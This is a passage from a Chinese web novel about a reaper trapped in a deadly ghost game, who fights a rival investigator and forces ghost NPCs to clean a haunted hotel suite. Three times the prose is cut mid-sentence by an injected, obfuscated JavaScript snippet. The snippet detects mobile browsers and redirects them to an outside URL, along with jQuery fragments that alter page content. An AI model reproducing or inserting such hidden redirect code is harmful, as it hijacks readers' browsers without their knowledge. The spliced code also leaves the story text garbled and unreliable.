“换个工作服怎么这么慢?速度呢?效率呢?”经理不满地抱怨,“带过那么多批员工,你们是我遇到的最差的一届!” 陆烬手里把弄着拖把,用鞋底踩碎拖把头上不知道是手指还是脚趾的碎肉。 “这货死前是老师吗?”他不耐烦地蹙着眉,“台词跟教导主任似的。” 许墨阳没忍住,“嗤”地笑出声。 他不敢当面说经理坏话,却不妨碍在背后蛐蛐他:“脑袋秃成这样,我还以为他死前是程序员呢!” 方圆立刻表示不满:“你们对程序员有误解,不是所有程序员都秃头!” 可方圆自己头发细软,看着也不多,他的话没有任何说服力。 一番插科打诨后,气氛轻松了不少,玩家们突然觉得,经理也不是那么可怕了。 突然,身侧传来江随低沉的声音,“为什么说‘死前’?经理已经死了?” 轻松的氛围一秒破功,穿堂风裹挟着阴冷的湿气,从众人脚底直涌到天灵盖,让人背脊发凉。 经历过副本的玩家都清楚,NPC不是人。可从没有一个玩家说过,NPC是死了的人啊! 大家的目光齐刷刷转向陆烬,疑惑他这个“经理已死”的结论从何而来。 陆烬只是耸耸肩:“我随便说的。” 众玩家:“?” 谢志压低声音呵斥:“副本里已经够恐怖了,你不要再说这种瞎话吓唬人好不好!” 陆烬摊手:“反正NPC都不是人,死前死后有区别吗?” “那还是有区别的!”谢志咬着牙,“不是人也罢了,但要是一个死人在咱们面前指手画脚,那得多诡异啊!” 玩家们纷纷点头附和,连许墨阳也跟着疯狂点头。 陆烬无语地看了许墨阳一眼,本来想说什么,最后还是把话咽了回去。 经理又唠叨了几分钟,才总算进入正题,让玩家们两人一组去收拾客房。 玩家有7人,于楠和方圆一人抱住一个老玩家的大腿,许墨阳也紧贴着陆烬,只有江随落单。 经理指着江随:“你一人一组,赶紧干活!不干活晚上没饭吃!” 玩家们都同情地看了看江随,又同情地瞥了瞥陆烬和许墨阳。一边是落单的玩家,一边是危险区的弱鸡,也不知道哪组更惨。 陆烬满不在乎,拎着拖把慢悠悠地走进分配好的客房,许墨阳紧跟在后面。 等所有玩家都去了自己负责的区域,许墨阳才凑近陆烬:“陆哥!你刚刚那话什么意思?这里的NPC……都是鬼吗?” 陆烬正在卫生间里,用拖把在满是血水的水池里胡乱蹭着,不咸不淡地应了一声。 “嗯。” 许墨阳咽了口唾沫:“可是、可是他们都有影子啊!” 陆烬没说话,眸光垂下来,示意许墨阳看地面。 许墨阳顺着他的视线看去,在昏暗的卫生间里,他清晰地看到陆烬映在瓷砖上的影子,还有自己的。 他也有影子! “影子不是判定人和鬼的标准。”陆烬解释,“在一些阴气重的地方,鬼也有影子。” 比如,冥界。 … 折腾了半天,拖把还是黏糊糊的,怎么也洗不干净,陆烬索性放弃了。 他走到客房的阳台,推开脏兮兮的落地窗,外头阳光正盛,刺得人有些睁不开眼。 清川民宿坐落在景区附近,占了很大一片区域,再往远看,是高低错落的农庄瓦舍,田埂阡陌纵横,远处蓝天白云,山峦连绵起伏。 这地图比想象中要大得多。从鬼魂能在阳光下行动这一点来看,这里肯定不是人界。 “陆哥,看啥呢?” 许墨阳也跟着走上阳台,学着陆烬的样子朝外头张望了老半天,除了满眼的绿色和阳光,啥也没看出来。 陆烬说:“你在这儿等着,我出去一趟。” 许墨阳大惊失色,“陆哥,你不完成任务啦?系统不是说要调查黄老板的烦恼吗?6小时内查不出来,BOSS会生气的!” 现在已经过去一个小时了! 陆烬掏出手机,按亮屏幕,锁屏背景是一个现代化的监狱界面,黄有权正在里面气急败坏地捶打着看不见的墙壁,试图离开这个空间。 陆烬问他,“如果我没完成任务,你会生气吗?” “哈?”黄有权跷着二郎腿,一脸嚣张,“你这不是废话?老子聘用你,不就是让你解决老子的问题?你还敢不做任务?信不信老子弄死你!” 陆烬淡定地掏出苗刀。 黄有权一秒滑跪:“没有关系的,大家都是朋友,您不想做任务就不做吧!我不会生气的,只要您开心就好!^^” 陆烬满意地点头,收起手机,对许墨阳说:“你看,BOSS都说了没问题。” 许墨阳:“……” 他哪是没问题啊!他这分明是迫于您的淫威啊! “可是,”许墨阳还是害怕,“陆哥,这里的NPC都是鬼,我怕鬼啊!” 他从小就怕鬼,看《寻梦环游记》都能吓得做噩梦。 陆烬沉默了。 他的沉默震耳欲聋。 他忍了很久,终于还是说出那句让许墨阳整个人都裂开的话。 “有没有可能,你也是鬼?” * 陆烬最后还是离开了民宿。 许墨阳没办理复生手续,他的身体在医院里躺着,处于不插管就会死的状态。严格意义上说,他现在就是鬼。 玩家里混进了一只鬼,该怕的不是鬼,而是其他玩家。 从阳台离开,陆烬的速度很快,朝着东面飞奔,那是巴士进入民宿的方向,或许能找到关于游戏的线索。 大约跑了十分钟,他终于抵达副本的边界。 眼前的景象开始扭曲,山峦化为虚影,天空扭曲变形,浓雾在这里泛滥,一面看不到的墙体出现在眼前。 陆烬伸出手,指腹触到一片冰凉坚硬的东西,像是玻璃,又像是某种结界。 皮肤又一次被无形的利刃划伤,鲜血顺着那面看不见的墙体流下来。 这副本,是架构出来的空间。 原理和灵魂巴士一样。 而灵魂巴士是地府的产物,难道这游戏也是地府弄出来的? 陆烬有点想不通。阎王那厮虽然每天无所事事,喜欢捣鼓些奇怪的东西,但也不至于干这种缺德事吧? 可惜他在人界上学,已经小半年没回冥界了,地府微信群也被他屏蔽了,好久没看里面的消息了。 现在打开微信群,也没信号。 微风吹过,空气里带着一丝清淡的雪松气息,很好闻。树叶被风吹得飒飒作响,远处的草坪像绿色的波浪般起伏。 这里太僻静了,连NPC的影子都没有,全世界仿佛只剩下陆烬一个人了。 突然,陆烬身形一晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998971|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从原地消失了! 与此同时,隐藏在不远处烂尾楼的江随,瞳孔骤缩,几乎是本能地从阴影中窜出,猛地后退十几米! “轰!” 陆烬的身影如同鬼魅,下一秒就出现在江随刚才藏身的位置! 陆烬伸出手,随意地扫了扫牛仔裤上并不存在的尘土,抬头,面无表情地看着几米外的江随。 江随“啧”了一声,语气中带着些许意外。 “居然被发现了。” 被发现后,他也不慌,从容地站起身,倚靠着锈迹斑斑的护栏。 明明是很肆意的姿势,但他藏在衬衫下的手臂肌肉紧绷,随时可以发动反击。 陆烬没由来地觉得江随来自一个纪律严明的地方,却又觉得,这人骨子里太散漫,纪律严明和生性散漫诡异地融合在一个人身上。 “你跟踪我。”陆烬语气笃定。 “没有吧,”江随矢口否认,“我不能和你一样,也好奇这副本的情况,出来探查吗?” 陆烬:“不能。” 江随:“……?” 陆烬:“从民宿出来,东南西北各有一条路,怎么就那么巧,我们撞在同一条?” “有缘。”江随睁着眼睛说瞎话,“你我有缘。” 陆烬:“……” 这人好烦。 不想再绕圈子了,陆烬决定单刀直入。 “你认识我。”他顿了顿,补充道,“在游戏开始前。” 江随那双好看的眼睛微微眯了一下,眸光里闪过一丝难辨的情绪。 “我掩饰得很差?” 他一直觉得自己演技一流,以前骗过不少人来着。 陆烬没回答。 其实不算差了。危险区玩家名单出来时,他还只是怀疑;等自我介绍时,他才彻底确定,江随对别人的名字都漠不关心,唯有听到“陆烬”二字时,表情有了极其细微的变化。 这种变化,像猫盯上了老鼠,警察锁定了小偷,让陆烬很不舒服。 “所以,”陆烬又问了一遍,声音冷了几分,“为什么盯上我?” “不是我不想告诉你,”江随这次倒是坦诚,“上头的命令,我也不知道具体原因。” 说完,他偏了偏头,眼神里带着点探究:“但为什么会被盯上,你自己心里没数吗?”上头总不至于无缘无故让他们盯一个人吧? 陆烬扯了扯嘴角,心里暗骂:他知道个球啊!他要是知道,还需要在这儿跟他废话? 江随显然打算一直藏着掖着,半点实情都不肯透露。 陆烬觉得累了。他讨厌麻烦的事情,所以当初才选择做不需要动脑子的无常,而不是坐办公室的文员。 地府有规定,无常不能伤人。 但他比较特殊,他现在穿着影偶,是人,不是无常。 反正,只要揍到江随说实话就好! 陆烬不动声色地掏出他那柄苗刀,眼神里隐隐还有些兴奋。 与此同时—— 江随心里也打起了小算盘。 既然被发现了,而且管理局本来就要调查陆烬,他突然觉得,不如直接把人绑回去吧? 暴力虽然可耻,但有用。 管理局规定,执行专员不可以对普通人动手。 可这是在副本里,管理局又不知道。 直接把人打晕了再绑回去,应该……没问题! 江随的瞳仁里闪现出几丝兴奋,藏在手腕上的本命金属变成数颗金属球,在他掌心飞速旋转。 四目相对,空气仿佛凝固了。 下一秒,两人如同离弦之箭,不约而同朝着对方冲去! 5. 005 夜已经深了,坐落在燕都三环的特殊管理局却灯火通明。 这座建筑从外形看只是家普通的时装杂志社,社里发行的杂志销量不算拔尖,也就中等水平,毫不起眼。 但实际上,杂志社地下十层,藏着一个庞大精密的组织。 午夜十二点,特殊管理局内突然亮起刺眼的红灯。宋闻脚下生了风,刚从电梯出来,就朝着会议室的方向大步狂奔。 执行部部长沈思瑜早已在会议室等候,看到有人推门进来,她豁然起身,神色焦急。 “江随呢?还没找到他?” 宋闻抹了把额头的汗,艰难地摇头:“电话打不通,微信也联系不上,我去他家看过了,屋里没人。” “定位器呢?”沈思瑜追问。 江随身上佩戴着管理局特制的定位器,采用最先进的卫星定位技术,哪怕在犄角旮旯的山区,甚至地底深处,管理局都能找到他。 宋闻的声音更丧了:“没信号。” 目前为止,定位器唯一接收不到信号的地方,要么是几光年外的星空,要么就是那个神秘莫测的《黄泉》游戏。 宋闻抓了抓后脑勺:“部长,你说老大会不会进入副本了?” 沈思瑜的面色瞬间凝重起来,眉头拧成了一个川字。 《黄泉》游戏上线将近三个月,因它失踪的玩家不计其数。管理局专门成立了专案小组研究这游戏,可玩家的死亡率实在太高,他们能获取的信息少之又少。 最近,管理局正在组建一支敢死队,计划派成员潜入游戏,获取更多线索。 江随是这支队伍的领队,有他在,团队的存活率至少能提高三成。 可计划还没启动,江随却不见了。 “如果真进入了游戏,江随还毫无准备……”沈思瑜眼底满是担忧。 宋闻却显得轻松许多,“部长,老大要是被拉进游戏,反而没什么好担心的吧!” 要知道,一个月前宋闻也曾被拉进游戏。他能活着出来,全靠身上带着江随的本命金属。 当时江随并不在副本里,可隔着不知多少距离,甚至不清楚是不是一个时空,江随却远程操控他的本命金属,直接秒了副本的BOSS。 没了BOSS阻挠,宋闻自然轻松完成任务。 宋闻拍着胸脯,信心满满:“所以,如果老大真进入游戏,该颤抖的是BOSS啊!” 沈思瑜:……“” “老大应该没事。” 一个清脆的女声打断了两人的对话,年轻的女孩推开会议室的门,快步走到沈思瑜身边,递上一份报告。 “部长,比起老大,我觉得更该关注申城那边。我们派去的人回复,申城那名A级监察对象失踪了。” 宋闻猛地睁大眼:“他也不见了?……难道他也进入副本了?” 沈思瑜白了他一眼:“哪有这么巧的事情?” “暂时不清楚是不是进入副本,”盛梨说,“但我们的专员去了陆烬的学校,却没有找到人。” “明明几个小时前,监控还拍到他在上课,几个小时后却人间蒸发了。是发现被跟踪所以逃跑,还是另有原因消失,现在还未可知。” * 副本外,管理局因为江随和陆烬的失踪闹翻了天;副本内,两人打得昏天暗地,差点没把副本的天掀了。 黄有权在手机里瑟瑟发抖。 他一个低级副本,怎么就匹配到两个大佬级玩家? 这合适吗? 系统到底干什么吃的? 且不说那个不知道从哪儿冒出来的江随,单说陆烬,这货可是正儿八经的无常!系统屁股歪到天上去了,居然把他识别成玩家? 无常不应该派A级恶鬼来对付吗? 他只是个C级的小喽啰啊! … 几个回合下来,空气中弥漫着硝烟的气息,陆烬身上添了几道伤口。 影偶虽是模仿人类躯体制作的高级皮套,可强度和人类肉身差不多,实在脆皮。 而且穿着这东西打斗,就像穿高跟鞋跑步、裹着长裙游泳,束手束脚,格外碍事。 陆烬正打算切换成无常态,省钱方便,武力值还能再涨一截。可他刚要出窍,空气里突然响起一道机械的儿童音,冰冷又突兀: 【叮——】 【玩家于楠死亡。】 陆烬心头一震,瞬间收回了手。 江随的动作也顿住了。 两人同时看向民宿的方向,眼神凝重。 从他们离开民宿到交手,才过去二十分钟。于楠身边明明跟着老玩家,BOSS又被关在陆烬的手机里,怎么会突然死了? 一时间,两人都没说话,却不约而同地停了手,朝着民宿的方向狂奔而去。 陆烬的速度快得惊人,毕竟是无常,即便穿着影偶,也能调动无常的力量,远超常人。 可江随竟然紧紧跟在他身后,丝毫没有被拉开距离。 不到十分钟,两人就回到了民宿。一个翻阳台,一个跃窗户,都默契地绕开正门,轻车熟路地潜回了客房区。 刚走到走廊,陆烬就若无其事地靠近许墨阳,压低声音问:“于楠呢?他怎么出事的?” 许墨阳这才发现陆烬回来了,像抓住救命稻草似的,一把抱住他的大腿。 “哥!你可算回来了!” 他一只鬼在这鬼地方真是吓死鬼了! “……站起来说话。” 许墨阳豁然站直身子,抹了把并不存在的眼泪:“我也不太清楚具体情况,好像是有个NPC,让楠哥去打扫顶层的行政套房,他去了之后没多久,就出事了。” 行政套房里到底发生了什么,谁也不知道。大家只听到系统的死亡通知,紧接着是浓郁的血腥味,鲜血从行政套房的门缝往外渗,染红了过道的地毯,也弄脏了楼下的天花板。 陆烬抬头望去,天花板上爬满了蜿蜒的血痕,姿态诡异而凌乱,像极了奈河桥头肆意绽放的曼珠沙华。 “陆哥……” 许墨阳也看到头顶的血痕,小声问,“那咱们现在该怎么办啊?” 陆烬也是第一次遇到这种情况,但游戏是个封闭的世界,想联系外界都做不到。 “先通关游戏再说吧。” * “都几点了!几点了!” 电梯门如两把镰刀徐徐划开,经理从电梯里出来,脸色阴沉。 “过了这么久,你们才打扫了几间房?速度怎么这么慢!” 玩家们都低着头,大气不敢喘,谁也不敢接话。 只有陆烬,脸色很臭。 主要是莫名其妙被卷入游戏,刚刚又发现被人跟踪,还没能把对方按在地上摩擦,少年心气,肚子里终究窝了火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998972|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这会儿经理怼脸开大,陆烬的脾气也上来了,冷脸回怼,“才过去半小时,这么短的时间,没打扫完不是很正常吗?” 经理怒视着他:“你慢你还有理了?” 陆烬挑眉,“你行你上呗。” 说着,他把拖把递给经理。 其他玩家都惊呆了。 这是干什么?没看到刚刚死了人吗?居然还敢跟NPC唱反调? 经理气得浑身发抖,死死盯着陆烬。他的眼睛越睁越大,“噗”一声,眼珠子竟然掉了出来,落在手心里,鲜血淋漓。 那眼珠在他掌心咕噜咕噜转了两圈,眼白上冒出的几根细小触手,还在胡乱晃动,看着格外瘆人。 周围的玩家吓得脸色惨白,san值狂掉,连呼吸都忘了。 经理幽幽地看着陆烬,周身的怨气瞬间暴涨,黏稠得仿佛是高温下融化的沥青。 “你刚刚说什么?你再说一遍?” 陆烬却无动于衷,甚至还有点不耐烦,“我说,你行你上,赶紧的,我手举着酸。” 说完,他把拖把硬塞进经理怀里。 暴涨的怨气一秒消失不见,经理被一股巨大的力气推得后退了两步,整只鬼摔在地上,一脸懵逼。 经理:“……?” 不是,这合理吗? 他的怨气呢?他的气势呢? 经理一脸茫然,有些不知所措,连眼珠子滚到哪儿去了都不知道了。 还是旁边的助理反应过来,捡起地上的眼珠子,小心翼翼地帮他塞回眼眶里。 助理扶着经理,两人踉踉跄跄地站起身。 邪门,这玩家真邪门! 他居然不怕自己! 经理心里憋着气,不爽地嚷嚷:“也就是老板不在,才有你嘚瑟的机会!等老板回来,有你好看的!” “嗯,”陆烬懒洋洋地倚着客房的门,表情平淡,“我很期待他回来。” 手机里的黄有权瑟缩了一下。 救命!他不想回来啊! 现场陷入了僵局,经理显然拿陆烬没辙。 要知道,所有的鬼生前都是人,本是同根生,所以鬼未必比人强。副本虽在一定程度上加强了鬼的力量,但除了BOSS,普通鬼想要害人,往往需要触发特定的条件。 经理的伤人条件是“恐惧”,一旦玩家对他产生恐惧,他的能力能空前暴涨。 可是陆烬……这货根本不怕他! 何止不怕,陆烬甚至往前凑了两步,饶有兴致地打量着经理刚刚塞回去的眼珠子。 “你的眼球挺好玩的,”他语气认真,“拿出来给我看看?” 经理:“???” “你是人吗?” “我?”陆烬勾了勾嘴角,“你猜?” 猜?猜你个头啊! 经理气得肺都要炸了。就没见过这么不按套路出牌的玩家!敢在他头上动土,今天必须把这货收拾了! 他搞不定陆烬,但副本里危机四伏,他搞不定,不代表别的NPC也搞不定。 经理的目光意有所指地瞥向顶层的行政套房,嘴角慢慢勾起一抹诡异的坏笑。 那里,不是刚死了一个人吗? 经理大声嚷嚷:“无论如何,你们只打扫了六间客房,KPI不达标,必须接受惩罚!所有人,都给我去打扫行政套房!” 6. 006 玩家们的脸色大变。 要知道,于楠进入行政套房不过十分钟,系统就公布了他的死讯。那他们这些人进去,又能坚持多久? 方圆的双腿已经在打颤,谢志和蒋恒的脸色也难看到了极点。 经理的坏笑让玩家们明白,进入行政套房,必死无疑! 思及此,谢志心下一横,突然开口:“不是我们效率低,是有人偷懒了!” 经理立刻看向他:“谁?” 谢志毫不犹豫指向陆烬:“他!他刚刚溜出去没做卫生,我亲眼看到了!” 谢志其实没看到陆烬离开,但他的技能是【距离测算】,他能感知队友与自己的大概距离。 当玩家进入同一个副本,便默认是队友。刚刚谢志感知了陆烬和自己的距离,他可以百分百确定,十分钟前,陆烬绝不在民宿! 经理对这个举报非常满意。他正想找借口惩罚陆烬,没想到瞌睡就有人递枕头,简直太巧了! 他瞬间转向陆烬,怒目圆瞪:“你居然敢偷懒!必须接受惩罚,一个人去打扫行政套房!” 陆烬无所谓地耸耸肩,“哦,那就去呗。”他不是会赖账的人。 但他话锋一转,抬手指向一直沉默的江随,“不过,偷懒的不止我,他也偷懒了。” 经理愣了愣,目光投向江随。 “没有哦。”江随闲闲地倚着身后的白墙,一脸无辜,“我一直在民宿努力工作。” 他还特意重音了“努力”二字。 陆烬:“……” 他在民宿努力工作,那十分钟前和他对轰的是什么?鬼吗? 方圆挠了挠后脑勺,“随哥确实在民宿啊,我就在他隔壁,都听到他刷马桶的声音了。” 众人半信半疑,立刻去查看江随负责的客房。 推开房门,房间里窗明几净,地板擦得能反光,床单被褥都是新换的,散发着淡淡的阳光味,整洁得无可挑剔。 经理看得连连点头,“嗯,做得不错!” 然后他转头瞪向陆烬,“人家明明在认真工作,你小子居然还敢诬陷同事!” 陆烬的眉头皱了起来。 江随肯定也溜出民宿了,他的天赋是操控金属,又不是影分-身。 可眼前这干净整洁的房间,又做不得假。 经理还在喋喋不休地数落陆烬,其他玩家也投来或同情或质疑的目光。 没人注意到,客房门缝的阴影里,一块扭成人形的金属片悄悄探出头。 它左手拎着个扫把,右手攥着块抹布,对着走廊里的陆烬,嘚瑟地跳起了扭秧歌。 陆烬:“……” 没有人看到。 只有陆烬看到了。 毕竟,这破东西就是故意跳给他看的。 陆烬无言,面无表情地掰断手中的拖把。 淦!这人怎么能这么骚? * 陆烬最后还是一个人去打扫行政套房。 目送他离开后,许墨阳猛地转身,怒视着谢志:“你为什么要告密!” 谢志不以为然:“要不是他偷溜出去耽误时间,我们的进度会这么慢?这都是他自找的!” “你胡说!”许墨阳的脸涨得通红,“陆哥负责的客房,我早就帮他打扫干净了!” 明明是经理故意挑刺找茬,许墨阳不信谢志看不出来。 被迫进入这个该死的游戏,大家已经够艰难了,竟然还有人背后捅刀子! “你这么仗义,你进去陪他啊!”谢志言语嘲讽,上下打量着许墨阳,“你不和我一样在外面?所以现在高高在上地指责我算什么?你不也不想被惩罚吗?” “我——” 许墨阳被噎得说不出话。 他确实怕鬼,得知陆烬要被惩罚,许墨阳心里纠结。最终,六年的同窗情谊,让他豁出去决定和陆烬一起接受惩罚。 但陆烬按住了他的肩膀,对他摇了摇头。 那一刻,许墨阳是庆幸的,庆幸自己可以不辜负朋友,也不用死。 可这想法又多么卑劣。 方圆叹了口气,走上前拍了拍许墨阳的肩膀:“能活着就已经很难了,保护不了朋友,不是你的错……节哀。” 气氛瞬间变得沉重,每个人的心头都像压了块石头。只有经理,迈着轻快的小碎步,哼着不成调的小曲,连骂人的语调都上扬的。 “还愣着干什么?不用干活了?赶紧给我动起来!晚上要是做不完这些卫生,把你们全部打包扔去行政套房!” 玩家们吓得一个激灵,埋头继续工作。 经理笑眯眯地望向行政套房的方向,眼中闪烁着贪婪的光。 人类的灵魂啊,最是鲜美,尤其是在他们陷入绝望的那一刻,那滋味,简直妙不可言。 这个年轻的大学生,看着就很鲜嫩多汁的样子呢~ * 行政套房内,陆烬一脚踹开挡在过道中央的椅子。 这里的房间很多,除了卧室,还有书房、棋牌室,小酒吧正对着阳台,阳台上还架着个落满灰尘的秋千。 配置奢华,只是得忽略墙壁上的血渍、沙发缝里的肉渣,还有那积了不知多少年的尘埃。 陆烬看到了于楠的尸体。 他倚着墙角,脸色发青,死前似乎拼命抓挠着什么,十指血肉模糊,连指甲都脱落了。 陆烬蹲下身,轻轻为他合上了那双死不瞑目的眼。 他在房间里转了一圈。 人死后会化为鬼魂,常人虽然看不见,但无常能看到。除非魂魄被其他鬼魂吞噬,连轮回的机会都没留下。 这里没有于楠的魂魄。 他彻底消失了。 陆烬又回到客厅,客厅里依旧脏乱,地上是发黑的血肉,还散落着几缕乱糟糟的头发。 他拎着那半截拖把棍,看着这堪比五间普通客房大小的行政套房,一时竟不知该从何下手。 要是多几个帮手就好了。 陆烬揉着太阳穴思考着。 不知不觉间,原本只在套房门口的血迹,悄无声息地漫到他脚下,在他脚边汇成一滩不断扩大的暗红色血洼。 那鲜血仿佛有了生命,安安静静,不发出一点声响,只在圈住陆烬双脚后,缓慢地,从鲜血里爬出来。 最先露出来的是一头乌黑的长发,又长又密,像水草般缠缠绕绕,遮住了底下的脸。 紧接着,一截青白色的手臂从血水里抬起,沾着血污的手指轻轻搭在陆烬的肩膀上,动作极尽温柔缱绻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998973|193932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “小哥哥~来呀~快活呀~” 漆黑的长发中露出女鬼血色的双眼,她的眼睛在泛光。 食物……激动! 陆烬缓缓转过头,看到身后的女鬼。 他古井无波的眸子里也泛着光。 劳动力……激动! 女鬼:“?” 她还没反应过来,手腕突然被一股巨力攥住!一个背肩摔,女鬼在空气中来了个大摆锤,三百六十度横扫客厅后,重重地摔在地上! 女鬼:“???” 她的脑袋像被重锤砸过,眼前金星乱冒,疼得连话都说不利索了。 她瘫在地上,茫然地看着陆烬:“你……不应该害怕我……吓得到处乱跑,而我却无处不在,把你吓得屁滚尿流,再掐断你的脖子吗?” 正常的剧本都是这样的啊! “你怎么不害怕?也不尖叫?” 陆烬居高临下,看着摔在地上的女鬼。 “时代变了,现在早不流行这种老掉牙的鬼故事了。” 女鬼拨开脸上凌乱的头发,露出一双流血又茫然的眼睛。 “……那现在流行什么?” 陆烬一本正经:“现在流行玩家抓鬼,抓到的鬼必须给玩家干活,不干活就会被玩家赏一顿竹笋炒肉。” “……你当我是三岁小孩呢?” 陆烬斜睨了她一眼:“要点脸,近百岁的老鬼了,装什么嫩?” 女鬼:“?” 陆烬伸出两根手指:“我现在给你两个选择。一,乖乖帮我把这行政套房打扫干净。” 女鬼:“呵!” 陆烬:“二,我揍你一顿,你再乖乖帮我把这行政套房打扫干净。” 女鬼气得脸都绿了,尖叫道:“滚你丫的!鬼可杀不可辱!” 说罢,她张牙舞爪地朝陆烬扑了过去! 五分钟后。 陆烬拉了张相对干净的椅子坐下,百无聊赖地转着手里那半截拖把棍。 女鬼鼻青脸肿,跪在地上努力擦地。 “好好商量不行吗?”陆烬说,“非要我动武力,我也不想这么暴力的。” 女鬼:“……” 呸!分明是恃强凌弱! 她不敢骂出口,只能在心里大骂,这小白脸大学生,不要脸,也就只敢欺负她! 欺负她这种弱鬼算什么本事?有本事去单挑BOSS啊!去别的大鬼面前嘚瑟啊! 男人都这样,只敢欺负弱的! 女鬼憋着气擦着客厅,手指都被粗糙的抹布搓得通红。 她使出了浑身解数,可客厅实在太脏,加上她那一头总掉血的长发,刚擦干净转眼又被弄脏,看得陆烬都快犯洁癖了。 还得再找几个劳动力才行。 鬼多就是力量嘛! 陆烬问埋头擦地的女鬼:“其他房间还有NPC吗?” 女鬼眼珠子一转,她跪坐在地上,姿态乖巧,说话声音也甜甜的:“没有了,其他房间很安全,这里只有我呢~” 陆烬勾了勾唇角:“是实话吧?” “当然啦!”女鬼笑得眉眼弯弯,努力让自己的表情看起来无比真诚,“小哥哥,我怎么会骗你呢?我对你的心,天地可鉴啊!” 7. 007 陆烬站起身,拍了拍女鬼的肩膀。 “好好干活。” 然后,他拎着那半截拖把棍,转身毫不犹豫地推开了客房的门。 看到陆烬走进客房,女鬼脸上那甜美的笑容瞬间消失,眼眶里涌出新鲜的血液,她“桀桀桀”地怪笑起来,笑得嘴角都抽筋了。 她不过是个E级的小鬼,客房里那位,可是实打实的D级大鬼!哈哈哈!这个不知天高地厚的学生仔,死定了! 到时候她是先吃大腿呢,还是先啃手臂? 在女鬼盘算的时间里,客房传来乒铃乓啷的声音,即便没有画面,可只听到声音,也能想象学生仔被D级大鬼揍得有多惨! 一分钟不到,隔壁的声音消失了。 嗯!大鬼出手就是快! 听说大鬼生前是三甲医院的主任,出手快准稳,果然名不虚传! 女鬼兴冲冲地爬起来,摸出藏在角落里的筷子和小碗,哼着小曲推开客房的门,准备进去分一杯羹。 门开的瞬间,她看到陆烬笔直地站在客房中央,单手掐着医生鬼的脖子,把对方拎得双脚离地。 那医生鬼正拼命挣扎,脸都憋成了青紫色,铅灰色的舌头伸得老长。 女鬼“砰”的一声关上房门。 起猛了,低血糖,有点眼花。 她用力揉了揉眼睛。 不确定,再看看。 女鬼又缓缓推开了客房的门…… … 五分钟后,女鬼多了个擦窗户的同事。 两鬼一起干活,效率果然高了不少。女鬼掉头发时,还有医生鬼在后面帮忙捡,配合得倒也默契。 女鬼和医生鬼四目相对,虽然一句话没说,但此处无声胜有声,两鬼眼里都是泪。 陆烬显然对此并不满足。 他伸了个懒腰,活动了下筋骨,又问:“这套房里,应该不止你们俩吧?” 虽是问句,语气却带着不容置疑的肯定。 于是几分钟后,恶鬼劳动力的队伍空前壮大:躲在天花板夹层里的小鬼、藏在衣柜深处的老鬼、天天偷喝藏酒的酒鬼……全都被陆烬“请”了出来。 众鬼拾柴火焰高,在陆烬的群策群力下,行政套房的打扫工作突飞猛进,进展惊人! 不仅如此,连其他区域的NPC都被惊动了。 楼下厨房的厨师小心翼翼地推开行政套房的门,探进个脑袋:“听说……这里有好吃的?” “我不贪心,就想分根手指头。上次就是你们动作太快,还没到晚饭时间就把玩家分光了,我啥都没捞着……大家都是一个副本的同事,总得讲点公平吧……” 门开的瞬间,所有正在埋头苦干的“劳动力”都齐刷刷地看向他。 厨师:“?” 他悻悻地缩回脑袋,讪讪道:“不分就不分嘛,这么警觉做什么……小气……” 还没等他转身溜走,一只强有力的手就抓住了他的后领,像拎小鸡似的把他整个人拖进了客厅。 陆烬的语调轻快,心情显然很不错。 “厨师?” 正好,他饿了。 … 酒足饭饱后,陆烬找了间打扫干净的客房,倒头就躺在床上小憩。 他昨晚复习到大半夜,今早八点考马原,下午考高数,晚上还有设计课,忙完这一切后,还爬高架桥抓了只鬼。 更别提进了这游戏,又和江随那来路不明的家伙打了一架。 就算是无常,也是会累的。 陆烬躺在床上,呼吸均匀绵长,很快进入梦乡。 等他睡熟后,门缝里悄悄探进来几个诡异的脑袋,窃窃私语: “他睡着了吧?” “没听到呼吸声吗?肯定睡熟了!” “趁他睡着,咱们一起上,把他一举拿下!” “可以!医生你先上!” “?要点脸!老鬼你怎么不上?你资历比我老!” “尊老爱幼懂不懂?你得尊敬老人家!” “都死了还讲什么尊老爱幼!” “那也该女鬼先上!最老的明明是她!” 女鬼:“???” 最后被大家一致踹出去的是老鬼。毕竟他是这群鬼里的老大,每次有玩家进这行政套房,他都吃大头。 老鬼战战兢兢地挪到床边,心里七上八下的,但听到陆烬平稳的呼吸声,又多了几分底气。 不就是个普通玩家吗?到了他的地盘,还不是任他捏扁搓圆? 老鬼瞬间恢复了往日的气势,悄无声息地靠近床边,趁着陆烬熟睡,猛地伸手去掐他的脖子! 变故只在眨眼间。 老鬼的手指还没碰到陆烬,就感觉天旋地转。原本躺在床上的男人已经坐起身,他的指节冰凉,比常人的体温低了好几度,毫不留情地掐住了老鬼的脖子! 